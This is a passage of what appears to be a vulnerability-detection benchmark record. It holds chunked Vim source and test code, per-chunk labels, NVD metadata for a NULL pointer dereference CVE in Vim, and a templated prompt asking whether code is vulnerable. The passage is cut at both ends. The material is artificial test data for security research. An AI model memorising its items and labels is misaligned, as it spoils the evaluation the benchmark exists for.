1])\nendfunc", "func Test_tabline_flags()\n if has('gui')\n set guioptions-=e\n endif\n set tabline=%!MyTabLine()\n edit Xtabline1\n tabnew Xtabline2\n redrawtabline\n call assert_match('^ Xtabline1 Xtabline2\\s\\+close$', Screenline(1))\n set tabline=\n %bw!\nendfunc", "function EmptyTabname()\n return \"\"\nendfunction", "function MakeTabLine() abort\n let titles = map(range(1, tabpagenr('$')), '\"%( %\" . v:val . \"T%{EmptyTabname()}%T %)\"')\n let sep = 'あ'\n let tabpages = join(titles, sep)\n return tabpages .. sep .. '%=%999X X'\nendfunction", "func Test_tabline_empty_group()\n \" this was reading invalid memory\n set tabline=%!MakeTabLine()\n tabnew\n redraw!", " tabclose\n set tabline=\nendfunc", "\" When there are exactly 20 tabline format items (the exact size of the\n\" initial tabline items array), test that we don't write beyond the size\n\" of the array.\nfunc Test_tabline_20_format_items_no_overrun()\n set showtabline=2", " let tabline = repeat('%#StatColorHi2#', 20)\n let &tabline = tabline\n redrawtabline", " set showtabline& tabline&\nendfunc\n", "func Test_mouse_click_in_tab()\n \" This used to crash because TabPageIdxs[] was not initialized\n let lines =<< trim END\n tabnew\n set mouse=a\n exe \"norm \\<LeftMouse>\"\n END\n call writefile(lines, 'Xclickscript')\n call RunVim([], [], \"-e -s -S Xclickscript -c qa\")", " call delete('Xclickscript')\nendfunc", "", "\" vim: shiftwidth=2 sts=2 expandtab" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [542, 149, 733], "buggy_code_start_loc": [474, 149, 733], "filenames": ["src/mouse.c", "src/testdir/test_tabline.vim", "src/version.c"], "fixing_code_end_loc": [545, 164, 736], "fixing_code_start_loc": [474, 150, 734], "message": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*", "matchCriteriaId": "01913AB4-2601-4722-8852-1E3CB540F78E", "versionEndExcluding": "9.0.0259", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*", "matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259."}, {"lang": "es", "value": "Una Desreferencia de Puntero NULL en el repositorio de GitHub vim/vim versiones anteriores a 9.0.0259."}], "evaluatorComment": null, "id": "CVE-2022-2980", "lastModified": "2023-05-03T12:16:09.687", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "security@huntr.dev", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-08-25T20:15:09.587", "references": [{"source": "security@huntr.dev", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, {"source": "security@huntr.dev", "tags": ["Exploit", "Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://huntr.dev/bounties/6e7b12a5-242c-453d-b39e-9625d563b0ea"}, {"source": "security@huntr.dev", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XWOJOA7PZZAMBI5GFTL6PWHXMWSDLUXL/"}, {"source": "security@huntr.dev", "tags": null, "url": "https://security.gentoo.org/glsa/202305-16"}], "sourceIdentifier": "security@huntr.dev", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-476"}], "source": "security@huntr.dev", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-476"}], "source": "nvd@nist.gov", "type": "Secondary"}]}, "github_commit_url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, "type": "CWE-476"}
141
Determine whether the {function_name} code is vulnerable or not.
[ "/* vi:set ts=8 sts=4 sw=4 noet:\n *\n * VIM - Vi IMproved\t\tby Bram Moolenaar\n *\n * Do \":help uganda\" in Vim to read copying and usage conditions.\n * Do \":help credits\" in Vim to see a list of people who contributed.\n * See README.txt for an overview of the Vim source code.\n */", "#include \"vim.h\"", "/*\n * Vim originated from Stevie version 3.6 (Fish disk 217) by GRWalter (Fred)\n * It has been changed beyond recognition since then.\n *\n * Differences between version 8.2 and 9.0 can be found with \":help version9\".\n * Differences between version 7.4 and 8.x can be found with \":help version8\".\n * Differences between version 6.4 and 7.x can be found with \":help version7\".\n * Differences between version 5.8 and 6.x can be found with \":help version6\".\n * Differences between version 4.x and 5.x can be found with \":help version5\".\n * Differences between version 3.0 and 4.x can be found with \":help version4\".\n * All the remarks about older versions have been removed, they are not very\n * interesting.\n */", "#include \"version.h\"", "char\t\t*Version = VIM_VERSION_SHORT;\nstatic char\t*mediumVersion = VIM_VERSION_MEDIUM;", "#if defined(HAVE_DATE_TIME) || defined(PROTO)\n# if (defined(VMS) && defined(VAXC)) || defined(PROTO)\nchar\tlongVersion[sizeof(VIM_VERSION_LONG_DATE) + sizeof(__DATE__)\n\t\t\t\t\t\t + sizeof(__TIME__) + 3];", " void\ninit_longVersion(void)\n{\n /*\n * Construct the long version string. Necessary because\n * VAX C can't concatenate strings in the preprocessor.\n */\n strcpy(longVersion, VIM_VERSION_LONG_DATE);\n#ifdef BUILD_DATE\n strcat(longVersion, BUILD_DATE);\n#else\n strcat(longVersion, __DATE__);\n strcat(longVersion, \" \");\n strcat(longVersion, __TIME__);\n#endif\n strcat(longVersion, \")\");\n}", "# else\nchar\t*longVersion = NULL;", " void\ninit_longVersion(void)\n{\n if (longVersion == NULL)\n {\n#ifdef BUILD_DATE\n\tchar *date_time = BUILD_DATE;\n#else\n\tchar *date_time = __DATE__ \" \" __TIME__;\n#endif\n\tchar *msg = _(\"%s (%s, compiled %s)\");\n\tsize_t len = strlen(msg)\n\t\t + strlen(VIM_VERSION_LONG_ONLY)\n\t\t + strlen(VIM_VERSION_DATE_ONLY)\n\t\t + strlen(date_time);", "\tlongVersion = alloc(len);\n\tif (longVersion == NULL)\n\t longVersion = VIM_VERSION_LONG;\n\telse\n\t vim_snprintf(longVersion, len, msg,\n\t\t VIM_VERSION_LONG_ONLY, VIM_VERSION_DATE_ONLY, date_time);\n }\n}\n# endif\n#else\nchar\t*longVersion = VIM_VERSION_LONG;", " void\ninit_longVersion(void)\n{\n // nothing to do\n}\n#endif", "static char *(features[]) =\n{\n#ifdef HAVE_ACL\n\t\"+acl\",\n#else\n\t\"-acl\",\n#endif\n#ifdef AMIGA\t\t// only for Amiga systems\n# ifdef FEAT_ARP\n\t\"+ARP\",\n# else\n\t\"-ARP\",\n# endif\n#endif\n#ifdef FEAT_ARABIC\n\t\"+arabic\",\n#else\n\t\"-arabic\",\n#endif\n\t\"+autocmd\",\n#ifdef FEAT_AUTOCHDIR\n \"+autochdir\",\n#else\n \"-autochdir\",\n#endif\n#ifdef FEAT_AUTOSERVERNAME\n\t\"+autoservername\",\n#else\n\t\"-autoservername\",\n#endif\n#ifdef FEAT_BEVAL_GUI\n\t\"+balloon_eval\",\n#else\n\t\"-balloon_eval\",\n#endif\n#ifdef FEAT_BEVAL_TERM\n\t\"+balloon_eval_term\",\n#else\n\t\"-balloon_eval_term\",\n#endif\n#ifdef FEAT_BROWSE\n\t\"+browse\",\n#else\n\t\"-browse\",\n#endif\n#ifdef NO_BUILTIN_TCAPS\n\t\"-builtin_terms\",\n#endif\n#ifdef SOME_BUILTIN_TCAPS\n\t\"+builtin_terms\",\n#endif\n#ifdef ALL_BUILTIN_TCAPS\n\t\"++builtin_terms\",\n#endif\n#ifdef FEAT_BYTEOFF\n\t\"+byte_offset\",\n#else\n\t\"-byte_offset\",\n#endif\n#ifdef FEAT_JOB_CHANNEL\n\t\"+channel\",\n#else\n\t\"-channel\",\n#endif\n\t\"+cindent\",\n#ifdef FEAT_CLIENTSERVER\n\t\"+clientserver\",\n#else\n\t\"-clientserver\",\n#endif\n#ifdef FEAT_CLIPBOARD\n\t\"+clipboard\",\n#else\n\t\"-clipboard\",\n#endif\n\t\"+cmdline_compl\",\n\t\"+cmdline_hist\",\n#ifdef FEAT_CMDL_INFO\n\t\"+cmdline_info\",\n#else\n\t\"-cmdline_info\",\n#endif\n\t\"+comments\",\n#ifdef FEAT_CONCEAL\n\t\"+conceal\",\n#else\n\t\"-conceal\",\n#endif\n#ifdef FEAT_CRYPT\n\t\"+cryptv\",\n#else\n\t\"-cryptv\",\n#endif\n#ifdef FEAT_CSCOPE\n\t\"+cscope\",\n#else\n\t\"-cscope\",\n#endif\n\t\"+cursorbind\",\n#ifdef CURSOR_SHAPE\n\t\"+cursorshape\",\n#else\n\t\"-cursorshape\",\n#endif\n#if defined(FEAT_CON_DIALOG) && defined(FEAT_GUI_DIALOG)\n\t\"+dialog_con_gui\",\n#else\n# if defined(FEAT_CON_DIALOG)\n\t\"+dialog_con\",\n# else\n# if defined(FEAT_GUI_DIALOG)\n\t\"+dialog_gui\",\n# else\n\t\"-dialog\",\n# endif\n# endif\n#endif\n#ifdef FEAT_DIFF\n\t\"+diff\",\n#else\n\t\"-diff\",\n#endif\n#ifdef FEAT_DIGRAPHS\n\t\"+digraphs\",\n#else\n\t\"-digraphs\",\n#endif\n#ifdef FEAT_GUI_MSWIN\n# ifdef FEAT_DIRECTX\n\t\"+directx\",\n# else\n\t\"-directx\",\n# endif\n#endif\n#ifdef FEAT_DND\n\t\"+dnd\",\n#else\n\t\"-dnd\",\n#endif\n\t\"-ebcdic\",\n#ifdef FEAT_EMACS_TAGS\n\t\"+emacs_tags\",\n#else\n\t\"-emacs_tags\",\n#endif\n#ifdef FEAT_EVAL\n\t\"+eval\",\n#else\n\t\"-eval\",\n#endif\n\t\"+ex_extra\",\n#ifdef FEAT_SEARCH_EXTRA\n\t\"+extra_search\",\n#else\n\t\"-extra_search\",\n#endif\n\t\"-farsi\",\n#ifdef FEAT_SEARCHPATH\n\t\"+file_in_path\",\n#else\n\t\"-file_in_path\",\n#endif\n#ifdef FEAT_FIND_ID\n\t\"+find_in_path\",\n#else\n\t\"-find_in_path\",\n#endif\n#ifdef FEAT_FLOAT\n\t\"+float\",\n#else\n\t\"-float\",\n#endif\n#ifdef FEAT_FOLDING\n\t\"+folding\",\n#else\n\t\"-folding\",\n#endif\n#ifdef FEAT_FOOTER\n\t\"+footer\",\n#else\n\t\"-footer\",\n#endif\n\t // only interesting on Unix systems\n#if !defined(USE_SYSTEM) && defined(UNIX)\n\t\"+fork()\",\n#endif\n#ifdef FEAT_GETTEXT\n# ifdef DYNAMIC_GETTEXT\n\t\"+gettext/dyn\",\n# else\n\t\"+gettext\",\n# endif\n#else\n\t\"-gettext\",\n#endif\n\t\"-hangul_input\",\n#if (defined(HAVE_ICONV_H) && defined(USE_ICONV)) || defined(DYNAMIC_ICONV)\n# ifdef DYNAMIC_ICONV\n\t\"+iconv/dyn\",\n# else\n\t\"+iconv\",\n# endif\n#else\n\t\"-iconv\",\n#endif\n\t\"+insert_expand\",\n#ifdef FEAT_IPV6\n\t\"+ipv6\",\n#else\n\t\"-ipv6\",\n#endif\n#ifdef FEAT_JOB_CHANNEL\n\t\"+job\",\n#else\n\t\"-job\",\n#endif\n\t\"+jumplist\",\n#ifdef FEAT_KEYMAP\n\t\"+keymap\",\n#else\n\t\"-keymap\",\n#endif\n#ifdef FEAT_EVAL\n\t\"+lambda\",\n#else\n\t\"-lambda\",\n#endif\n#ifdef FEAT_LANGMAP\n\t\"+langmap\",\n#else\n\t\"-langmap\",\n#endif\n#ifdef FEAT_LIBCALL\n\t\"+libcall\",\n#else\n\t\"-libcall\",\n#endif\n#ifdef FEAT_LINEBREAK\n\t\"+linebreak\",\n#else\n\t\"-linebreak\",\n#endif\n\t\"+lispindent\",\n\t\"+listcmds\",\n\t\"+localmap\",\n#ifdef FEAT_LUA\n# ifdef DYNAMIC_LUA\n\t\"+lua/dyn\",\n# else\n\t\"+lua\",\n# endif\n#else\n\t\"-lua\",\n#endif\n#ifdef FEAT_MENU\n\t\"+menu\",\n#else\n\t\"-menu\",\n#endif\n#ifdef FEAT_SESSION\n\t\"+mksession\",\n#else\n\t\"-mksession\",\n#endif\n\t\"+modify_fname\",\n\t\"+mouse\",\n#ifdef FEAT_MOUSESHAPE\n\t\"+mouseshape\",\n#else\n\t\"-mouseshape\",\n#endif", "#if defined(UNIX) || defined(VMS)\n# ifdef FEAT_MOUSE_DEC\n\t\"+mouse_dec\",\n# else\n\t\"-mouse_dec\",\n# endif\n# ifdef FEAT_MOUSE_GPM\n# ifdef DYNAMIC_GPM\n\t\"+mouse_gpm/dyn\",\n# else\n\t\"+mouse_gpm\",\n# endif\n# else\n\t\"-mouse_gpm\",\n# endif\n# ifdef FEAT_MOUSE_JSB\n\t\"+mouse_jsbterm\",\n# else\n\t\"-mouse_jsbterm\",\n# endif\n# ifdef FEAT_MOUSE_NET\n\t\"+mouse_netterm\",\n# else\n\t\"-mouse_netterm\",\n# endif\n#endif", "#ifdef __QNX__\n# ifdef FEAT_MOUSE_PTERM\n\t\"+mouse_pterm\",\n# else\n\t\"-mouse_pterm\",\n# endif\n#endif", "#if defined(UNIX) || defined(VMS)\n\t\"+mouse_sgr\",\n# ifdef FEAT_SYSMOUSE\n\t\"+mouse_sysmouse\",\n# else\n\t\"-mouse_sysmouse\",\n# endif\n# ifdef FEAT_MOUSE_URXVT\n\t\"+mouse_urxvt\",\n# else\n\t\"-mouse_urxvt\",\n# endif\n\t\"+mouse_xterm\",\n#endif", "#ifdef FEAT_MBYTE_IME\n# ifdef DYNAMIC_IME\n\t\"+multi_byte_ime/dyn\",\n# else\n\t\"+multi_byte_ime\",\n# endif\n#else\n\t\"+multi_byte\",\n#endif\n#ifdef FEAT_MULTI_LANG\n\t\"+multi_lang\",\n#else\n\t\"-multi_lang\",\n#endif\n#ifdef FEAT_MZSCHEME\n# ifdef DYNAMIC_MZSCHEME\n\t\"+mzscheme/dyn\",\n# else\n\t\"+mzscheme\",\n# endif\n#else\n\t\"-mzscheme\",\n#endif\n#ifdef FEAT_NETBEANS_INTG\n\t\"+netbeans_intg\",\n#else\n\t\"-netbeans_intg\",\n#endif\n\t\"+num64\",\n#ifdef FEAT_GUI_MSWIN\n# ifdef FEAT_OLE\n\t\"+ole\",\n# else\n\t\"-ole\",\n# endif\n#endif\n#ifdef FEAT_EVAL\n\t\"+packages\",\n#else\n\t\"-packages\",\n#endif\n#ifdef FEAT_PATH_EXTRA\n\t\"+path_extra\",\n#else\n\t\"-path_extra\",\n#endif\n#ifdef FEAT_PERL\n# ifdef DYNAMIC_PERL\n\t\"+perl/dyn\",\n# else\n\t\"+perl\",\n# endif\n#else\n\t\"-perl\",\n#endif\n#ifdef FEAT_PERSISTENT_UNDO\n\t\"+persistent_undo\",\n#else\n\t\"-persistent_undo\",\n#endif\n#ifdef FEAT_PROP_POPUP\n\t\"+popupwin\",\n#else\n\t\"-popupwin\",\n#endif\n#ifdef FEAT_PRINTER\n# ifdef FEAT_POSTSCRIPT\n\t\"+postscript\",\n# else\n\t\"-postscript\",\n# endif\n\t\"+printer\",\n#else\n\t\"-printer\",\n#endif\n#ifdef FEAT_PROFILE\n\t\"+profile\",\n#else\n\t\"-profile\",\n#endif\n#ifdef FEAT_PYTHON\n# ifdef DYNAMIC_PYTHON\n\t\"+python/dyn\",\n# else\n\t\"+python\",\n# endif\n#else\n\t\"-python\",\n#endif\n#ifdef FEAT_PYTHON3\n# ifdef DYNAMIC_PYTHON3\n\t\"+python3/dyn\",\n# else\n\t\"+python3\",\n# endif\n#else\n\t\"-python3\",\n#endif\n#ifdef FEAT_QUICKFIX\n\t\"+quickfix\",\n#else\n\t\"-quickfix\",\n#endif\n#ifdef FEAT_RELTIME\n\t\"+reltime\",\n#else\n\t\"-reltime\",\n#endif\n#ifdef FEAT_RIGHTLEFT\n\t\"+rightleft\",\n#else\n\t\"-rightleft\",\n#endif\n#ifdef FEAT_RUBY\n# ifdef DYNAMIC_RUBY\n\t\"+ruby/dyn\",\n# else\n\t\"+ruby\",\n# endif\n#else\n\t\"-ruby\",\n#endif\n\t\"+scrollbind\",\n#ifdef FEAT_SIGNS\n\t\"+signs\",\n#else\n\t\"-signs\",\n#endif\n\t\"+smartindent\",\n#ifdef FEAT_SODIUM\n# ifdef DYNAMIC_SODIUM\n\t\"+sodium/dyn\",\n# else\n\t\"+sodium\",\n# endif\n#else\n\t\"-sodium\",\n#endif\n#ifdef FEAT_SOUND\n\t\"+sound\",\n#else\n\t\"-sound\",\n#endif\n#ifdef FEAT_SPELL\n\t\"+spell\",\n#else\n\t\"-spell\",\n#endif\n#ifdef STARTUPTIME\n\t\"+startuptime\",\n#else\n\t\"-startuptime\",\n#endif\n#ifdef FEAT_STL_OPT\n\t\"+statusline\",\n#else\n\t\"-statusline\",\n#endif\n\t\"-sun_workshop\",\n#ifdef FEAT_SYN_HL\n\t\"+syntax\",\n#else\n\t\"-syntax\",\n#endif\n\t // only interesting on Unix systems\n#if defined(USE_SYSTEM) && defined(UNIX)\n\t\"+system()\",\n#endif\n\t\"+tag_binary\",\n\t\"-tag_old_static\",\n\t\"-tag_any_white\",\n#ifdef FEAT_TCL\n# ifdef DYNAMIC_TCL\n\t\"+tcl/dyn\",\n# else\n\t\"+tcl\",\n# endif\n#else\n\t\"-tcl\",\n#endif\n#ifdef FEAT_TERMGUICOLORS\n\t\"+termguicolors\",\n#else\n\t\"-termguicolors\",\n#endif\n#ifdef FEAT_TERMINAL\n\t\"+terminal\",\n#else\n\t\"-terminal\",\n#endif\n#if defined(UNIX)\n// only Unix can have terminfo instead of termcap\n# ifdef TERMINFO\n\t\"+terminfo\",\n# else\n\t\"-terminfo\",\n# endif\n#endif\n#ifdef FEAT_TERMRESPONSE\n\t\"+termresponse\",\n#else\n\t\"-termresponse\",\n#endif\n\t\"+textobjects\",\n#ifdef FEAT_PROP_POPUP\n\t\"+textprop\",\n#else\n\t\"-textprop\",\n#endif\n#if !defined(UNIX)\n// unix always includes termcap support\n# ifdef HAVE_TGETENT\n\t\"+tgetent\",\n# else\n\t\"-tgetent\",\n# endif\n#endif\n#ifdef FEAT_TIMERS\n\t\"+timers\",\n#else\n\t\"-timers\",\n#endif\n\t\"+title\",\n#ifdef FEAT_TOOLBAR\n\t\"+toolbar\",\n#else\n\t\"-toolbar\",\n#endif\n\t\"+user_commands\",\n#ifdef FEAT_VARTABS\n\t\"+vartabs\",\n#else\n\t\"-vartabs\",\n#endif\n\t\"+vertsplit\",\n\t\"+vim9script\",\n#ifdef FEAT_VIMINFO\n\t\"+viminfo\",\n#else\n\t\"-viminfo\",\n#endif\n\t\"+virtualedit\",\n\t\"+visual\",\n\t\"+visualextra\",\n\t\"+vreplace\",\n#ifdef MSWIN\n# ifdef FEAT_VTP\n\t\"+vtp\",\n# else\n\t\"-vtp\",\n# endif\n#endif\n#ifdef FEAT_WILDIGN\n\t\"+wildignore\",\n#else\n\t\"-wildignore\",\n#endif\n#ifdef FEAT_WILDMENU\n\t\"+wildmenu\",\n#else\n\t\"-wildmenu\",\n#endif\n\t\"+windows\",\n#ifdef FEAT_WRITEBACKUP\n\t\"+writebackup\",\n#else\n\t\"-writebackup\",\n#endif\n#if defined(UNIX) || defined(VMS)\n# ifdef FEAT_X11\n\t\"+X11\",\n# else\n\t\"-X11\",\n# endif\n#endif\n#ifdef FEAT_XFONTSET\n\t\"+xfontset\",\n#else\n\t\"-xfontset\",\n#endif\n#ifdef FEAT_XIM\n\t\"+xim\",\n#else\n\t\"-xim\",\n#endif\n#if defined(MSWIN)\n# ifdef FEAT_XPM_W32\n\t\"+xpm_w32\",\n# else\n\t\"-xpm_w32\",\n# endif\n#elif defined(HAVE_XPM)\n\t\"+xpm\",\n#else\n\t\"-xpm\",\n#endif\n#if defined(UNIX) || defined(VMS)\n# if defined(USE_XSMP_INTERACT)\n\t\"+xsmp_interact\",\n# elif defined(USE_XSMP)\n\t\"+xsmp\",\n# else\n\t\"-xsmp\",\n# endif\n# ifdef FEAT_XCLIPBOARD\n\t\"+xterm_clipboard\",\n# else\n\t\"-xterm_clipboard\",\n# endif\n#endif\n#ifdef FEAT_XTERM_SAVE\n\t\"+xterm_save\",\n#else\n\t\"-xterm_save\",\n#endif\n\tNULL\n};", "static int included_patches[] =\n{ /* Add new patch number below this line */", "", "/**/\n 258,\n/**/\n 257,\n/**/\n 256,\n/**/\n 255,\n/**/\n 254,\n/**/\n 253,\n/**/\n 252,\n/**/\n 251,\n/**/\n 250,\n/**/\n 249,\n/**/\n 248,\n/**/\n 247,\n/**/\n 246,\n/**/\n 245,\n/**/\n 244,\n/**/\n 243,\n/**/\n 242,\n/**/\n 241,\n/**/\n 240,\n/**/\n 239,\n/**/\n 238,\n/**/\n 237,\n/**/\n 236,\n/**/\n 235,\n/**/\n 234,\n/**/\n 233,\n/**/\n 232,\n/**/\n 231,\n/**/\n 230,\n/**/\n 229,\n/**/\n 228,\n/**/\n 227,\n/**/\n 226,\n/**/\n 225,\n/**/\n 224,\n/**/\n 223,\n/**/\n 222,\n/**/\n 221,\n/**/\n 220,\n/**/\n 219,\n/**/\n 218,\n/**/\n 217,\n/**/\n 216,\n/**/\n 215,\n/**/\n 214,\n/**/\n 213,\n/**/\n 212,\n/**/\n 211,\n/**/\n 210,\n/**/\n 209,\n/**/\n 208,\n/**/\n 207,\n/**/\n 206,\n/**/\n 205,\n/**/\n 204,\n/**/\n 203,\n/**/\n 202,\n/**/\n 201,\n/**/\n 200,\n/**/\n 199,\n/**/\n 198,\n/**/\n 197,\n/**/\n 196,\n/**/\n 195,\n/**/\n 194,\n/**/\n 193,\n/**/\n 192,\n/**/\n 191,\n/**/\n 190,\n/**/\n 189,\n/**/\n 188,\n/**/\n 187,\n/**/\n 186,\n/**/\n 185,\n/**/\n 184,\n/**/\n 183,\n/**/\n 182,\n/**/\n 181,\n/**/\n 180,\n/**/\n 179,\n/**/\n 178,\n/**/\n 177,\n/**/\n 176,\n/**/\n 175,\n/**/\n 174,\n/**/\n 173,\n/**/\n 172,\n/**/\n 171,\n/**/\n 170,\n/**/\n 169,\n/**/\n 168,\n/**/\n 167,\n/**/\n 166,\n/**/\n 165,\n/**/\n 164,\n/**/\n 163,\n/**/\n 162,\n/**/\n 161,\n/**/\n 160,\n/**/\n 159,\n/**/\n 158,\n/**/\n 157,\n/**/\n 156,\n/**/\n 155,\n/**/\n 154,\n/**/\n 153,\n/**/\n 152,\n/**/\n 151,\n/**/\n 150,\n/**/\n 149,\n/**/\n 148,\n/**/\n 147,\n/**/\n 146,\n/**/\n 145,\n/**/\n 144,\n/**/\n 143,\n/**/\n 142,\n/**/\n 141,\n/**/\n 140,\n/**/\n 139,\n/**/\n 138,\n/**/\n 137,\n/**/\n 136,\n/**/\n 135,\n/**/\n 134,\n/**/\n 133,\n/**/\n 132,\n/**/\n 131,\n/**/\n 130,\n/**/\n 129,\n/**/\n 128,\n/**/\n 127,\n/**/\n 126,\n/**/\n 125,\n/**/\n 124,\n/**/\n 123,\n/**/\n 122,\n/**/\n 121,\n/**/\n 120,\n/**/\n 119,\n/**/\n 118,\n/**/\n 117,\n/**/\n 116,\n/**/\n 115,\n/**/\n 114,\n/**/\n 113,\n/**/\n 112,\n/**/\n 111,\n/**/\n 110,\n/**/\n 109,\n/**/\n 108,\n/**/\n 107,\n/**/\n 106,\n/**/\n 105,\n/**/\n 104,\n/**/\n 103,\n/**/\n 102,\n/**/\n 101,\n/**/\n 100,\n/**/\n 99,\n/**/\n 98,\n/**/\n 97,\n/**/\n 96,\n/**/\n 95,\n/**/\n 94,\n/**/\n 93,\n/**/\n 92,\n/**/\n 91,\n/**/\n 90,\n/**/\n 89,\n/**/\n 88,\n/**/\n 87,\n/**/\n 86,\n/**/\n 85,\n/**/\n 84,\n/**/\n 83,\n/**/\n 82,\n/**/\n 81,\n/**/\n 80,\n/**/\n 79,\n/**/\n 78,\n/**/\n 77,\n/**/\n 76,\n/**/\n 75,\n/**/\n 74,\n/**/\n 73,\n/**/\n 72,\n/**/\n 71,\n/**/\n 70,\n/**/\n 69,\n/**/\n 68,\n/**/\n 67,\n/**/\n 66,\n/**/\n 65,\n/**/\n 64,\n/**/\n 63,\n/**/\n 62,\n/**/\n 61,\n/**/\n 60,\n/**/\n 59,\n/**/\n 58,\n/**/\n 57,\n/**/\n 56,\n/**/\n 55,\n/**/\n 54,\n/**/\n 53,\n/**/\n 52,\n/**/\n 51,\n/**/\n 50,\n/**/\n 49,\n/**/\n 48,\n/**/\n 47,\n/**/\n 46,\n/**/\n 45,\n/**/\n 44,\n/**/\n 43,\n/**/\n 42,\n/**/\n 41,\n/**/\n 40,\n/**/\n 39,\n/**/\n 38,\n/**/\n 37,\n/**/\n 36,\n/**/\n 35,\n/**/\n 34,\n/**/\n 33,\n/**/\n 32,\n/**/\n 31,\n/**/\n 30,\n/**/\n 29,\n/**/\n 28,\n/**/\n 27,\n/**/\n 26,\n/**/\n 25,\n/**/\n 24,\n/**/\n 23,\n/**/\n 22,\n/**/\n 21,\n/**/\n 20,\n/**/\n 19,\n/**/\n 18,\n/**/\n 17,\n/**/\n 16,\n/**/\n 15,\n/**/\n 14,\n/**/\n 13,\n/**/\n 12,\n/**/\n 11,\n/**/\n 10,\n/**/\n 9,\n/**/\n 8,\n/**/\n 7,\n/**/\n 6,\n/**/\n 5,\n/**/\n 4,\n/**/\n 3,\n/**/\n 2,\n/**/\n 1,\n/**/\n 0\n};", "/*\n * Place to put a short description when adding a feature with a patch.\n * Keep it short, e.g.,: \"relative numbers\", \"persistent undo\".\n * Also add a comment marker to separate the lines.\n * See the official Vim patches for the diff format: It must use a context of\n * one line only. Create it by hand or use \"diff -C2\" and edit the patch.\n */\nstatic char *(extra_patches[]) =\n{ /* Add your patch description below this line */\n/**/\n NULL\n};", " int\nhighest_patch(void)\n{\n // this relies on the highest patch number to be the first entry\n return included_patches[0];\n}", "#if defined(FEAT_EVAL) || defined(PROTO)\n/*\n * Return TRUE if patch \"n\" has been included.\n */\n int\nhas_patch(int n)\n{\n int\t\th, m, l;", " // Perform a binary search.\n l = 0;\n h = (int)ARRAY_LENGTH(included_patches) - 1;\n for (;;)\n {\n\tm = (l + h) / 2;\n\tif (included_patches[m] == n)\n\t return TRUE;\n\tif (l == h)\n\t break;\n\tif (included_patches[m] < n)\n\t h = m;\n\telse\n\t l = m + 1;\n }\n return FALSE;\n}\n#endif", " void\nex_version(exarg_T *eap)\n{\n /*\n * Ignore a \":version 9.99\" command.\n */\n if (*eap->arg == NUL)\n {\n\tmsg_putchar('\\n');\n\tlist_version();\n }\n}", "/*\n * Output a string for the version message. If it's going to wrap, output a\n * newline, unless the message is too long to fit on the screen anyway.\n * When \"wrap\" is TRUE wrap the string in [].\n */\n static void\nversion_msg_wrap(char_u *s, int wrap)\n{\n int\t\tlen = vim_strsize(s) + (wrap ? 2 : 0);", " if (!got_int && len < (int)Columns && msg_col + len >= (int)Columns\n\t\t\t\t\t\t\t\t&& *s != '\\n')\n\tmsg_putchar('\\n');\n if (!got_int)\n {\n\tif (wrap)\n\t msg_puts(\"[\");\n\tmsg_puts((char *)s);\n\tif (wrap)\n\t msg_puts(\"]\");\n }\n}", " static void\nversion_msg(char *s)\n{\n version_msg_wrap((char_u *)s, FALSE);\n}", "/*\n * List all features aligned in columns, dictionary style.\n */\n static void\nlist_features(void)\n{\n list_in_columns((char_u **)features, -1, -1);\n}", "/*\n * List string items nicely aligned in columns.\n * When \"size\" is < 0 then the last entry is marked with NULL.\n * The entry with index \"current\" is inclosed in [].\n */\n void\nlist_in_columns(char_u **items, int size, int current)\n{\n int\t\ti;\n int\t\tncol;\n int\t\tnrow;\n int\t\tcur_row = 1;\n int\t\titem_count = 0;\n int\t\twidth = 0;\n#ifdef FEAT_SYN_HL\n int\t\tuse_highlight = (items == (char_u **)features);\n#endif", " // Find the length of the longest item, use that + 1 as the column\n // width.\n for (i = 0; size < 0 ? items[i] != NULL : i < size; ++i)\n {\n\tint l = vim_strsize(items[i]) + (i == current ? 2 : 0);", "\tif (l > width)\n\t width = l;\n\t++item_count;\n }\n width += 1;", " if (Columns < width)\n {\n\t// Not enough screen columns - show one per line\n\tfor 